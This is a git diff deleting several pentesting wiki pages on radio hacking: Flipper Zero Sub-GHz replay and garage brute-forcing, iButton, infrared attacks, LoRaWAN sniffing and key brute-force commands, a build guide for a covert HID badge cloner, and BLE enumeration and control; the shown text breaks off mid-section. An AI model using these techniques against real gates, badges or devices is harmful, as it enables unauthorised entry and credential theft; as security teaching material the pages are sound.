-Flipper Zero has a built-in sub-1 GHz module based on a [](https://www.st.com/en/nfc/st25r3916.html#overview)[CC1101 chip](https://www.ti.com/lit/ds/symlink/cc1101.pdf) and a radio antenna (the maximum range is 50 meters). Both the CC1101 chip and the antenna are designed to operate at frequencies in the 300-348 MHz, 387-464 MHz, and 779-928 MHz bands.
-
-<figure><img src="../../../images/image (923).png" alt=""><figcaption></figcaption></figure>
-
-## Actions
-
-### Frequency Analyser
-
-> [!TIP]
-> How to find which frequency is the remote using
-
-When analysing, Flipper Zero is scanning signals strength (RSSI) at all the frequencies available in frequency configuration. Flipper Zero displays the frequency with the highest RSSI value, with signal strength higher than -90 [dBm](https://en.wikipedia.org/wiki/DBm).
-
-To determine the remote's frequency, do the following:
-
-1. Place the remote control very close to the left of Flipper Zero.
-2. Go to **Main Menu** **→ Sub-GHz**.
-3. Select **Frequency Analyzer**, then press and hold the button on the remote control you want to analyze.
-4. Review the frequency value on the screen.
-
-### Read
-
-> [!TIP]
-> Find info about the frequency used (also another way to find which frequency is used)
-
-The **Read** option **listens on the configured frequency** on the indicated modulation: 433.92 AM by default. If **something is found** when reading, **info is given** in the screen. This info could be use to replicate the signal in the future.
-
-While Read is in use, it's possible to press the **left button** and **configure it**.\
-At this moment it has **4 modulations** (AM270, AM650, FM328 and FM476), and **several relevant frequencies** stored:
-
-<figure><img src="../../../images/image (947).png" alt=""><figcaption></figcaption></figure>
-
-You can set **any that interests you**, however, if you are **not sure which frequency** could be the one used by the remote you have, **set Hopping to ON** (Off by default), and press the button several times until Flipper captures it and give you the info you need to set the frequency.
-
-> [!CAUTION]
-> Switching between frequencies takes some time, therefore signals transmitted at the time of switching can be missed. For better signal reception, set a fixed frequency determined by Frequency Analyzer.
-
-### **Read Raw**
-
-> [!TIP]
-> Steal (and replay) a signal in the configured frequency
-
-The **Read Raw** option **records signals** send in the listening frequency. This can be used to **steal** a signal and **repeat** it.
-
-By default **Read Raw is also in 433.92 in AM650**, but if with the Read option you found that the signal that interest you is in a **different frequency/modulation, you can also modify that** pressing left (while inside the Read Raw option).
-
-### Brute-Force
-
-If you know the protocol used for example by the garage door it's possible to g**enerate all the codes and send them with the Flipper Zero.** This is an example that support general common types of garages: [**https://github.com/tobiabocchi/flipperzero-bruteforce**](https://github.com/tobiabocchi/flipperzero-bruteforce)
-
-### Add Manually
-
-> [!TIP]
-> Add signals from a configured list of protocols
-
-#### List of [supported protocols](https://docs.flipperzero.one/sub-ghz/add-new-remote) <a href="#id-3iglu" id="id-3iglu"></a>
-
-| Princeton_433 (works with the majority of static code systems) | 433.92 | Static  |
-| -------------------------------------------------------------- | ------ | ------- |
-| Nice Flo 12bit_433                                             | 433.92 | Static  |
-| Nice Flo 24bit_433                                             | 433.92 | Static  |
-| CAME 12bit_433                                                 | 433.92 | Static  |
-| CAME 24bit_433                                                 | 433.92 | Static  |
-| Linear_300                                                     | 300.00 | Static  |
-| CAME TWEE                                                      | 433.92 | Static  |
-| Gate TX_433                                                    | 433.92 | Static  |
-| DoorHan_315                                                    | 315.00 | Dynamic |
-| DoorHan_433                                                    | 433.92 | Dynamic |
-| LiftMaster_315                                                 | 315.00 | Dynamic |
-| LiftMaster_390                                                 | 390.00 | Dynamic |
-| Security+2.0_310                                               | 310.00 | Dynamic |
-| Security+2.0_315                                               | 315.00 | Dynamic |
-| Security+2.0_390                                               | 390.00 | Dynamic |
-
-### Supported Sub-GHz vendors
-
-Check the list in [https://docs.flipperzero.one/sub-ghz/supported-vendors](https://docs.flipperzero.one/sub-ghz/supported-vendors)
-
-### Supported Frequencies by region
-
-Check the list in [https://docs.flipperzero.one/sub-ghz/frequencies](https://docs.flipperzero.one/sub-ghz/frequencies)
-
-### Test
-
-> [!TIP]
-> Get dBms of the saved frequencies
-
-## Reference
-
-- [https://docs.flipperzero.one/sub-ghz](https://docs.flipperzero.one/sub-ghz)
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/todo/radio-hacking/ibutton.md b/src/todo/radio-hacking/ibutton.md
deleted file mode 100644
index af0d43210d9..00000000000
--- a/src/todo/radio-hacking/ibutton.md
+++ /dev/null
@@ -1,48 +0,0 @@
-# iButton
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## Intro
-
-iButton is a generic name for an electronic identification key packed in a **coin-shaped metal container**. It is also called **Dallas Touch** Memory or contact memory. Even though it is often wrongly referred to as a “magnetic” key, there is **nothing magnetic** in it. In fact, a full-fledged **microchip** operating on a digital protocol is hidden inside.
-
-<figure><img src="../../images/image (915).png" alt=""><figcaption></figcaption></figure>
-
-### What is iButton? <a href="#what-is-ibutton" id="what-is-ibutton"></a>
-
-Usually, iButton implies the physical form of the key and reader - a round coin with two contacts. For the frame surrounding it, there are lots of variations from the most common plastic holder with a hole to rings, pendants, etc.
-
-<figure><img src="../../images/image (1078).png" alt=""><figcaption></figcaption></figure>
-
-When the key reaches the reader, the **contacts come to touch** and the key is powered to **transmit** its ID. Sometimes the key is **not read** immediately because the **contact PSD of an intercom is larger** than it should be. So the outer contours of the key and the reader couldn't touch. If that's the case, you'll have to press the key over one of the walls of the reader.
-
-<figure><img src="../../images/image (290).png" alt=""><figcaption></figcaption></figure>
-
-### **1-Wire protocol** <a href="#id-1-wire-protocol" id="id-1-wire-protocol"></a>
-
-Dallas keys exchange data using the 1-wire protocol. With only one contact for data transfer (!!) in both directions, from master to slave and vice versa. The 1-wire protocol works according to the Master-Slave model. In this topology, the Master always initiates communication and the Slave follows its instructions.
-
-When the key (Slave) contacts the intercom (Master), the chip inside the key turns on, powered by the intercom, and the key is initialized. Following that the intercom requests the key ID. Next, we will look up this process in more detail.
-
-Flipper can work both in Master and Slave modes. In the key reading mode, Flipper acts as a reader this is to say it works as a Master. And in the key emulation mode, the flipper pretends to be a key, it is in the Slave mode.
-
-### Dallas, Cyfral & Metakom keys
-
-For information about how these keys works check the page [https://blog.flipperzero.one/taming-ibutton/](https://blog.flipperzero.one/taming-ibutton/)
-
-### Attacks
-
-iButtons can be attacked with Flipper Zero:
-
-
-{{#ref}}
-flipper-zero/fz-ibutton.md
-{{#endref}}
-
-## References
-
-- [https://blog.flipperzero.one/taming-ibutton/](https://blog.flipperzero.one/taming-ibutton/)
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
diff --git a/src/todo/radio-hacking/infrared.md b/src/todo/radio-hacking/infrared.md
deleted file mode 100644
index bf1d22c7d27..00000000000
--- a/src/todo/radio-hacking/infrared.md
+++ /dev/null
@@ -1,142 +0,0 @@
-# Infrared
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## How the Infrared Works <a href="#how-the-infrared-port-works" id="how-the-infrared-port-works"></a>
-
-**Infrared light is invisible to humans**. IR wavelength is from **0.7 to 1000 microns**. Household remotes use an IR signal for data transmission and operate in the wavelength range of 0.75..1.4 microns. A microcontroller in the remote makes an infrared LED blink with a specific frequency, turning the digital signal into an IR signal.
-
-To receive IR signals a **photoreceiver** is used. It **converts IR light into voltage pulses**, which are already **digital signals**. Usually, there is a **dark light filter inside the receiver**, which lets **only the desired wavelength through** and cuts out noise.
-
-### Variety of IR Protocols <a href="#variety-of-ir-protocols" id="variety-of-ir-protocols"></a>
-
-IR protocols differ in 3 factors:
-
-- bit encoding
-- data structure
-- carrier frequency — often in range 36..38 kHz
-
-#### Bit encoding ways <a href="#bit-encoding-ways" id="bit-encoding-ways"></a>
-
-**1. Pulse Distance Encoding**
-
-Bits are encoded by modulating the duration of the space between pulses. The width of the pulse itself is constant.
-
-<figure><img src="../../images/image (295).png" alt=""><figcaption></figcaption></figure>
-
-**2. Pulse Width Encoding**
-
-Bits are encoded by modulation of the pulse width. The width of space after pulse burst is constant.
-
-<figure><img src="../../images/image (282).png" alt=""><figcaption></figcaption></figure>
-
-**3. Phase Encoding**
-
-It is also known as Manchester encoding. The logical value is defined by the polarity of the transition between pulse burst and space. "Space to pulse burst" denotes logic "0", "pulse burst to space" denotes logic "1".
-
-<figure><img src="../../images/image (634).png" alt=""><figcaption></figcaption></figure>
-
-**4. Combination of previous ones and other exotics**
-
-> [!TIP]
-> There are IR protocols that are **trying to become universal** for several types of devices. The most famous ones are RC5 and NEC. Unfortunately, the most famous **does not mean the most common**. In my environment, I met just two NEC remotes and no RC5 ones.
->
-> Manufacturers love to use their own unique IR protocols, even within the same range of devices (for example, TV-boxes). Therefore, remotes from different companies and sometimes from different models from the same company, are unable to work with other devices of the same type.
-
-### Exploring an IR signal
-
-The most reliable way to see how the remote IR signal looks like is to use an oscilloscope. It does not demodulate or invert the received signal, it is just displayed "as is". This is useful for testing and debugging. I will show the expected signal on the example of the NEC IR protocol.
-
-<figure><img src="../../images/image (235).png" alt=""><figcaption></figcaption></figure>
-
-Usually, there is a preamble at the beginning of an encoded packet. This allows the receiver to determine the level of gain and background. There are also protocols without preamble, for example, Sharp.
-
-Then data is transmitted. The structure, preamble, and bit encoding method are determined by the specific protocol.
-
-**NEC IR protocol** contains a short command and a repeat code, which is sent while the button is pressed. Both the command and the repeat code have the same preamble at the beginning.
-
-NEC **command**, in addition to the preamble, consists of an address byte and a command-number byte, by which the device understands what needs to be performed. Address and command-number bytes are duplicated with inverse values, to check the integrity of the transmission. There is an additional stop bit at the end of the command.
-
-The **repeat code** has a "1" after the preamble, which is a stop bit.
-
-For **logic "0" and "1"** NEC uses Pulse Distance Encoding: first, a pulse burst is transmitted after which there is a pause, its length sets the value of the bit.
-
-### Air Conditioners
-
-Unlike other remotes, **air conditioners do not transmit just the code of the pressed button**. They also **transmit all the information** when a button is pressed to assure that the **air conditioned machine and the remote are synchronised**.\
-This will avoid that a machine set as 20ºC is increased to 21ºC with one remote, and then when another remote, which still has the temperature as 20ºC, is used to increase more the temperature, it will "increase" it to 21ºC (and not to 22ºC thinking it's in 21ºC).
-
----
-
-## Attacks & Offensive Research <a href="#attacks" id="attacks"></a>
-
-You can attack Infrared with Flipper Zero:
-
-
-{{#ref}}
-flipper-zero/fz-infrared.md
-{{#endref}}
-
-### Smart-TV / Set-top Box Takeover (EvilScreen)
-
-Recent academic work (EvilScreen, 2022) demonstrated that **multi-channel remotes that combine Infrared with Bluetooth or Wi-Fi can be abused to fully hijack modern smart-TVs**. The attack chains high-privilege IR service codes together with authenticated Bluetooth packets, bypassing channel-isolation and allowing arbitrary app launches, microphone activation, or factory-reset without physical access. Eight mainstream TVs from different vendors — including a Samsung model claiming ISO/IEC 27001 compliance — were confirmed vulnerable. Mitigation requires vendor firmware fixes or completely disabling unused IR receivers. 
-
-### Air-Gapped Data Exfiltration via IR LEDs (aIR-Jumper family)
-
-Security cameras, routers or even malicious USB sticks often include **night-vision IR LEDs**. Research shows malware can modulate these LEDs (<10–20 kbit/s with simple OOK) to **exfiltrate secrets through walls and windows** to an external camera placed tens of metres away. Because the light is outside the visible spectrum, operators rarely notice. Counter-measures:
-
-* Physically shield or remove IR LEDs in sensitive areas
-* Monitor camera LED duty-cycle and firmware integrity
-* Deploy IR-cut filters on windows and surveillance cameras
-
-An attacker can also use strong IR projectors to **infiltrate** commands into the network by flashing data back to insecure cameras. 
-
-### Long-Range Brute-Force & Extended Protocols with Flipper Zero 1.0
-
-Firmware 1.0 (September 2024) added **dozens of extra IR protocols and optional external amplifier modules**. Combined with the universal-remote brute-force mode, a Flipper can disable or reconfigure most public TVs/ACs from up to 30 m using a high-power diode. 
-
----
-
-## Tooling & Practical Examples <a href="#tooling" id="tooling"></a>
-
-### Hardware
-
-* **Flipper Zero** – portable transceiver with learning, replay and dictionary-bruteforce modes (see above).
-* **Arduino / ESP32** + IR LED / TSOP38xx receiver – cheap DIY analyser/transmitter. Combine with the `Arduino-IRremote` library (v4.x supports >40 protocols).
-* **Logic analysers** (Saleae/FX2) – capture raw timings when protocol is unknown.
-* **Smartphones with IR-blaster** (e.g., Xiaomi) – quick field test but limited range.
-
-### Software
-
-* **`Arduino-IRremote`** – actively-maintained C++ library: 
-  ```cpp
-  #include <IRremote.hpp>
-  IRsend sender;
-  void setup(){ sender.begin(); }
-  void loop(){
-    sender.sendNEC(0x20DF10EF, 32); // Samsung TV Power
-    delay(5000);
-  }
-  ```
-* **IRscrutinizer / AnalysIR** – GUI decoders that import raw captures and auto-identify protocol + generate Pronto/Arduino code.
-* **LIRC / ir-keytable (Linux)** – receive and inject IR from the command line:
-  ```bash
-  sudo ir-keytable -p nec,rc5 -t   # live-dump decoded scancodes
-  irsend SEND_ONCE samsung KEY_POWER
-  ```
-
----
-
-## Defensive Measures <a href="#defense" id="defense"></a>
-
-* Disable or cover IR receivers on devices deployed in public spaces when not required.
-* Enforce *pairing* or cryptographic checks between smart-TVs and remotes; isolate privileged “service” codes.
-* Deploy IR-cut filters or continuous-wave detectors around classified areas to break optical covert channels.
-* Monitor firmware integrity of cameras/IoT appliances that expose controllable IR LEDs.
-
-## References
-
-- [Flipper Zero Infrared blog post](https://blog.flipperzero.one/infrared/)
-- EvilScreen: Smart TV hijacking via remote control mimicry (arXiv 2210.03014)
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/todo/radio-hacking/low-power-wide-area-network.md b/src/todo/radio-hacking/low-power-wide-area-network.md
deleted file mode 100644
index 1ec25f70dfd..00000000000
--- a/src/todo/radio-hacking/low-power-wide-area-network.md
+++ /dev/null
@@ -1,99 +0,0 @@
-# Low-Power Wide Area Network
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## Introduction
-
-**Low-Power Wide Area Network** (LPWAN) is a group of wireless, low-power, wide-area network technologies designed for **long-range communications** at a low bit rate.
-They can reach more than **six miles** and their **batteries** can last up to **20 years**.
-
-Long Range (**LoRa**) is currently the most deployed LPWAN physical layer and its open MAC-layer specification is **LoRaWAN**.
-
----
-
-## LPWAN, LoRa, and LoRaWAN
-
-* LoRa – Chirp Spread Spectrum (CSS) physical layer developed by Semtech (proprietary but documented).
-* LoRaWAN – Open MAC/Network layer maintained by the LoRa-Alliance. Versions 1.0.x and 1.1 are common in the field.
-* Typical architecture: *end-device → gateway (packet-forwarder) → network-server → application-server*.
-
-> The **security model** relies on two AES-128 root keys (AppKey/NwkKey) that derive session keys during the *join* procedure (OTAA) or are hard-coded (ABP). If any key leaks the attacker gains full read/write capability over the corresponding traffic.
-
----
-
-## Attack surface summary
-
-| Layer | Weakness | Practical impact |
-|-------|----------|------------------|
-| PHY | Reactive / selective jamming | 100 % packet loss demonstrated with single SDR and <1 W output |
-| MAC | Join-Accept & data-frame replay (nonce reuse, ABP counter rollover) | Device spoofing, message injection, DoS |
-| Network-Server | Insecure packet-forwarder, weak MQTT/UDP filters, outdated gateway firmware | RCE on gateways → pivot into OT/IT network |
-| Application | Hard-coded or predictable AppKeys | Brute-force/decrypt traffic, impersonate sensors |
-
----
-
-## Recent vulnerabilities (2023-2025)
-
-* **CVE-2024-29862** – *ChirpStack gateway-bridge & mqtt-forwarder* accepted TCP packets that bypassed stateful firewall rules on Kerlink gateways, allowing remote management interface exposure. Fixed in 4.0.11 / 4.2.1 respectively .
-* **Dragino LG01/LG308 series** – Multiple 2022-2024 CVEs (e.g. 2022-45227 directory traversal, 2022-45228 CSRF) still observed unpatched in 2025; enable unauthenticated firmware dump or config overwrite on thousands of public gateways .
-* Semtech *packet-forwarder UDP* overflow (unreleased advisory, patched 2023-10): crafted uplink larger than 255 B triggered stack-smash ‑> RCE on SX130x reference gateways (found by Black Hat EU 2023 “LoRa Exploitation Reloaded”).
-
----
-
-## Practical attack techniques
-
-### 1. Sniff & Decrypt traffic
-
-```bash
-# Capture all channels around 868.3 MHz with an SDR (USRP B205)
-python3 lorattack/sniffer.py \
-    --freq 868.3e6 --bw 125e3 --rate 1e6 --sf 7 --session smartcity
-
-# Bruteforce AppKey from captured OTAA join-request/accept pairs
-python3 lorapwn/bruteforce_join.py --pcap smartcity.pcap --wordlist top1m.txt
-```
-
-### 2. OTAA join-replay (DevNonce reuse)
-
-1. Capture a legitimate **JoinRequest**.
-2. Immediately retransmit it (or increment RSSI) before the original device transmits again.
-3. The network-server allocates a new DevAddr & session keys while the target device continues with the old session → attacker owns vacant session and can inject forged uplinks.
-
-### 3. Adaptive Data-Rate (ADR) downgrading
-
-Force SF12/125 kHz to increase airtime → exhaust duty-cycle of gateway (denial-of-service) while keeping battery impact low on attacker (just send network-level MAC commands).
-
-### 4. Reactive jamming
-
-*HackRF One* running GNU Radio flowgraph triggers a wide-band chirp whenever preamble detected – blocks all spreading factors with ≤200 mW TX; full outage measured at 2 km range .
-
----
-
-## Offensive tooling (2025)
-
-| Tool | Purpose | Notes |
-|------|---------|-------|
-| **LoRaWAN Auditing Framework (LAF)** | Craft/parse/attack LoRaWAN frames, DB-backed analyzers, brute-forcer | Docker image, supports Semtech UDP input |
-| **LoRaPWN** | Trend Micro Python utility to brute OTAA, generate downlinks, decrypt payloads | Demo released 2023, SDR-agnostic |
-| **LoRAttack** | Multi-channel sniffer + replay with USRP; exports PCAP/LoRaTap | Good Wireshark integration |
-| **gr-lora / gr-lorawan** | GNU Radio OOT blocks for baseband TX/RX | Foundation for custom attacks |
-
----
-
-## Defensive recommendations (pentester checklist)
-
-1. Prefer **OTAA** devices with truly random DevNonce; monitor duplicates.
-2. Enforce **LoRaWAN 1.1**: 32-bit frame counters, distinct FNwkSIntKey / SNwkSIntKey.
-3. Store frame-counter in non-volatile memory (**ABP**) or migrate to OTAA.
-4. Deploy **secure-element** (ATECC608A/SX1262-TRX-SE) to protect root keys against firmware extraction.
-5. Disable remote UDP packet-forwarder ports (1700/1701) or restrict with WireGuard/VPN.
-6. Keep gateways updated; Kerlink/Dragino provide 2024-patched images.
-7. Implement **traffic anomaly detection** (e.g., LAF analyzer) – flag counter resets, duplicate joins, sudden ADR changes.
-
-
-
-## References
-
-* LoRaWAN Auditing Framework (LAF) – [https://github.com/IOActive/laf](https://github.com/IOActive/laf)
-* Trend Micro LoRaPWN overview – [https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a](https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a)
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/todo/radio-hacking/maxiprox-mobile-cloner.md b/src/todo/radio-hacking/maxiprox-mobile-cloner.md
deleted file mode 100644
index 32147a2c9cf..00000000000
--- a/src/todo/radio-hacking/maxiprox-mobile-cloner.md
+++ /dev/null
@@ -1,84 +0,0 @@
-# Building a Portable HID MaxiProx 125 kHz Mobile Cloner
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## Goal
-Turn a mains-powered HID MaxiProx 5375 long-range 125 kHz reader into a field-deployable, battery-powered badge cloner that silently harvests proximity cards during physical-security assessments.
-
-The conversion covered here is based on TrustedSec’s “Let’s Clone a Cloner – Part 3: Putting It All Together” research series and combines mechanical, electrical and RF considerations so the final device can be thrown in a backpack and immediately used on site.
-
-> [!warning]
-> Manipulating mains-powered equipment and Lithium-ion power-banks can be dangerous.  Verify every connection **before** energising the circuit and keep the antennas, coax and ground planes exactly as they were in the factory design to avoid detuning the reader.
-
-## Bill of Materials (BOM)
-
-* HID MaxiProx 5375 reader (or any 12 V HID Prox® long-range reader)
-* ESP RFID Tool v2.2 (ESP32-based Wiegand sniffer/logger)
-* USB-PD (Power-Delivery) trigger module able to negotiate 12 V @ ≥3 A
-* 100 W USB-C power-bank (outputs 12 V PD profile)
-* 26 AWG silicone-insulated hook-up wire – red/white
-* Panel-mount SPST toggle switch (for beeper kill-switch)
-* NKK AT4072 switch-guard / accident-proof cap
-* Soldering iron, solder wick & desolder pump
-* ABS-rated hand tools: coping-saw, utility-knife, flat & half-round files
-* Drill bits 1/16″ (1.5 mm) and 1/8″ (3 mm)
-* 3 M VHB double-sided tape & Zip-ties
-
-## 1. Power Sub-System
-
-1. Desolder and remove the factory buck-converter daughter-board used to generate 5 V for the logic PCB.
-2. Mount a USB-PD trigger next to the ESP RFID Tool and route the trigger’s USB-C receptacle to the outside of the enclosure.
-3. The PD trigger negotiates 12 V from the power-bank and feeds it directly to the MaxiProx (the reader natively expects 10–14 V).  A secondary 5 V rail is taken from the ESP board to power any accessories.
-4. The 100 W battery pack is positioned flush against the internal standoff so there are **no** power cables draped across the ferrite antenna, preserving RF performance.
-
-## 2. Beeper Kill-Switch – Silent Operation
-
-1. Locate the two speaker pads on the MaxiProx logic board.
-2. Wick *both* pads clean, then re-solder only the **negative** pad.
-3. Solder 26 AWG wires (white = negative, red = positive) to the beeper pads and route them through a newly cut slot to a panel-mount SPST switch.
-4. When the switch is open the beeper circuit is broken and the reader operates in complete silence – ideal for covert badge harvesting.
-5. Fit an NKK AT4072 spring-loaded safety cap over the toggle.  Carefully enlarge the bore with a coping-saw / file until it snaps over the switch body.  The guard prevents accidental activation inside a backpack.
-
-## 3. Enclosure & Mechanical Work
-
-• Use flush cutters then a knife & file to *remove* the internal ABS “bump-out” so the large USB-C battery sits flat on the standoff.
-• Carve two parallel channels in the enclosure wall for the USB-C cable; this locks the battery in place and eliminates movement/vibration.
-• Create a rectangular aperture for the battery’s **power** button:
-  1. Tape a paper stencil over the location.
-  2. Drill 1/16″ pilot holes in all four corners.
-  3. Enlarge with a 1/8″ bit.
-  4. Join the holes with a coping saw; finish the edges with a file.  
-  ✱  A rotary Dremel was *avoided* – the high-speed bit melts thick ABS and leaves an ugly edge.
-
-## 4. Final Assembly
-
-1. Re-install the MaxiProx logic board and re-solder the SMA pigtail to the reader’s PCB ground pad.
-2. Mount the ESP RFID Tool and USB-PD trigger using 3 M VHB.
-3. Dress all wiring with zip-ties, keeping power leads **far** from the antenna loop.
-4. Tighten the enclosure screws until the battery is lightly compressed; the internal friction prevents the pack from shifting when the device recoils after every card read.
-
-## 5. Range & Shielding Tests
-
-* Using a 125 kHz **Pupa** test card the portable cloner achieved consistent reads at **≈ 8 cm** in free-air – identical to mains-powered operation.
-* Placing the reader inside a thin-walled metal cash box (to simulate a bank lobby desk) reduced range to ≤ 2 cm, confirming that substantial metal enclosures act as effective RF shields.
-
-## Usage Workflow
-
-1. Charge the USB-C battery, connect it, and flip the main power switch.
-2. (Optional) Open the beeper guard and enable audible feedback when bench-testing; lock it down before covert field use.
-3. Walk past the target badge holder – the MaxiProx will energise the card and the ESP RFID Tool captures the Wiegand stream.
-4. Dump captured credentials over Wi-Fi or USB-UART and replay/clone as required.
-
-## Troubleshooting
-
-| Symptom | Likely Cause | Fix |
-|---------|--------------|------|
-| Reader reboots when card presented | PD trigger negotiated 9 V not 12 V | Verify trigger jumpers / try higher-power USB-C cable |
-| No read range | Battery or wiring sitting *on top* of the antenna | Re-route cables & keep 2 cm clearance around the ferrite loop |
-| Beeper still chirps | Switch wired on positive lead instead of negative | Move kill-switch to break the **negative** speaker trace |
-
-## References
-
-- [Let’s Clone a Cloner – Part 3 (TrustedSec)](https://trustedsec.com/blog/lets-clone-a-cloner-part-3-putting-it-all-together)
-
-{{#include ../../banners/hacktricks-training.md}}
\ No newline at end of file
diff --git a/src/todo/radio-hacking/pentesting-ble-bluetooth-low-energy.md b/src/todo/radio-hacking/pentesting-ble-bluetooth-low-energy.md
deleted file mode 100644
index 42aa24c034a..00000000000
--- a/src/todo/radio-hacking/pentesting-ble-bluetooth-low-energy.md
+++ /dev/null
@@ -1,295 +0,0 @@
-# Pentesting BLE - Bluetooth Low Energy
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## Introduction
-
-Available since the Bluetooth 4.0 specification, BLE uses only 40 channels, covering the range of 2400 to 2483.5 MHz. In contrast, traditional Bluetooth uses 79 channels in that same range.
-
-BLE devices communicate is by sending **advertising packets** (**beacons**), these packets broadcast the BLE device’s existence to other nearby devices. These beacons sometimes **send data**, too.
-
-The listening device, also called a central device, can respond to an advertising packet with a **SCAN request** sent specifically to the advertising device. The **response** to that scan uses the same structure as the **advertising** packet with additional information that couldn’t fit on the initial advertising request, such as the full device name.
-
-![Pentesting BLE - Bluetooth Low Energy - Introduction: The listening device, also called a central device, can respond to an advertising packet with a SCAN request sent specifically to...](<../../images/image (152).png>)
-
-The preamble byte synchronizes the frequency, whereas the four-byte access address is a **connection identifier**, which is used in scenarios where multiple devices are trying to establish connections on the same channels. Next, the Protocol Data Unit (**PDU**) contains the **advertising data**. There are several types of PDU; the most commonly used are ADV_NONCONN_IND and ADV_IND. Devices use the **ADV_NONCONN_IND** PDU type if they **don’t accept connections**, transmitting data only in the advertising packet. Devices use **ADV_IND** if they **allow connections** and **stop sending advertising** packets once a **connection** has been **established**.
-
-### GATT
-
-The **Generic Attribute Profile** (GATT) defines how the **device should format and transfer data**. When you’re analyzing a BLE device’s attack surface, you’ll often concentrate your attention on the GATT (or GATTs), because it’s how **device functionality gets triggered** and how data gets stored, grouped, and modified. The GATT lists a device’s characteristics, descriptors, and services in a table as either 16- or 32-bits values. A **characteristic** is a **data** value **sent** between the central device and peripheral. These characteristics can have **descriptors** that **provide additional information about them**. **Characteristics** are often **grouped** in **services** if they’re related to performing a particular action.
-
-## Enumeration
-
-```bash
-hciconfig #Check config, check if UP or DOWN
-# If DOWN try:
-sudo modprobe -c bluetooth
-sudo hciconfig hci0 down && sudo hciconfig hci0 up
-
-# Spoof MAC
-spooftooph -i hci0 -a 11:22:33:44:55:66
-```
-
-### GATTool
-
-**GATTool** allows to **establish** a **connection** with another device, listing that device’s **characteristics**, and reading and writing its attributes.\
-GATTTool can launch an interactive shell with the `-I` option:
-
-<details>
-<summary>GATTTool interactive usage and examples</summary>
-
-```bash
-gatttool -i hci0 -I
-[ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful
-[A4:CF:12:6C:B3:76][LE]> characteristics
-  handle: 0x0002, char properties: 0x20, char value handle:
-  0x0003, uuid: 00002a05-0000-1000-8000-00805f9b34fb
-  handle: 0x0015, char properties: 0x02, char value handle:
-  0x0016, uuid: 00002a00-0000-1000-8000-00805f9b34fb
-[...]
-
-# Write data
-gatttool -i <Bluetooth adapter interface> -b <MAC address of device> --char-write-req <characteristic handle> -n <value>
-gatttool -b a4:cf:12:6c:b3:76 --char-write-req -a 0x002e -n $(echo -n "04dc54d9053b4307680a"|xxd -ps)
-
-# Read data
-gatttool -i <Bluetooth adapter interface> -b <MAC address of device> --char-read -a 0x16
-
-# Read connecting with an authenticated encrypted connection
-gatttool --sec-level=high -b a4:cf:12:6c:b3:76 --char-read -a 0x002c
-```
-
-</details>
-
-### Bettercap
-
-```bash
-# Start listening for beacons
-sudo bettercap --eval "ble.recon on"
-# Wait some time
->> ble.show # Show discovered devices
->> ble.enum <mac addr> # This will show the service, characteristics and properties supported
-
-# Write data in a characteristic
->> ble.write <MAC ADDR> <UUID> <HEX DATA>
->> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06
-```
-
-## Sniffing and actively controlling unpaired BLE devices
-
-Many low-cost BLE peripherals do not enforce pairing/bonding. Without bonding, the Link Layer encryption is never enabled, so ATT/GATT traffic is in cleartext. An off-path sniffer can follow the connection, decode GATT operations to learn characteristic handles and values, and any nearby host can then connect and replay those writes to control the device.
-
-### Sniffing with Sniffle (CC26x2/CC1352)
-
-Hardware: a Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352) re-flashed with NCC Group’s Sniffle firmware.
-
-Install Sniffle and its Wireshark extcap on Linux:
-
-<details>
-<summary>Install Sniffle extcap (Linux)</summary>
-
-```bash
-if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then
-  echo "[+] - Sniffle not installed! Installing at 1.10.0..."
-  sudo mkdir -p /opt/sniffle
-  sudo chown -R $USER:$USER /opt/sniffle
-  pushd /opt/sniffle
-  wget https://github.com/nccgroup/Sniffle/archive/refs/tags/v1.10.0.tar.gz
-  tar xvf v1.10.0.tar.gz
-  # Install Wireshark extcap for user and root only
-  mkdir -p $HOME/.local/lib/wireshark/extcap
-  ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py $HOME/.local/lib/wireshark/extcap
-  sudo mkdir -p /root/.local/lib/wireshark/extcap
-  sudo ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py /root/.local/lib/wireshark/extcap
-  popd
-else
-  echo "[+] - Sniffle already installed at 1.10.0"
-fi
-```
-
-</details>
-
-Flash Sonoff with Sniffle firmware (ensure your serial device matches, e.g. /dev/ttyUSB0):
-
-```bash
-pushd /opt/sniffle/
-wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
-git clone https://github.com/sultanqasim/cc2538-bsl.git
-cd cc2538-bsl
-python3 -m venv .venv
-source .venv/bin/activate
-python3 -m pip install pyserial intelhex
-python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc1352p1_cc2652p1_1M.hex
-deactivate
-popd
-```
-
-Capture in Wireshark via the Sniffle extcap and quickly pivot to state-changing writes by filtering:
-
-```text
-_ws.col.info contains "Sent Write Command"
-```
-
-This highlights ATT Write Commands from the client; the handle and value often directly map to device actions (e.g., write 0x01 to a buzzer/alert characteristic, 0x00 to stop).
-
-Sniffle CLI quick examples:
-
-```bash
-python3 scanner.py --output scan.pcap
-# Only devices with very strong signal
-python3 scanner.py --rssi -40
-# Filter advertisements containing a string
-python3 sniffer.py --string "banana" --output sniff.pcap
-```
-
-Alternative sniffer: Nordic’s nRF Sniffer for BLE + Wireshark plugin also works. On small/cheap Nordic dongles you typically overwrite the USB bootloader to load the sniffer firmware, so you either keep a dedicated sniffer dongle or need a J-Link/JTAG to restore the bootloader later.
-
-### Active control via GATT
-
-Once you’ve identified a writable characteristic handle and value from the sniffed traffic, connect as any central and issue the same write:
-
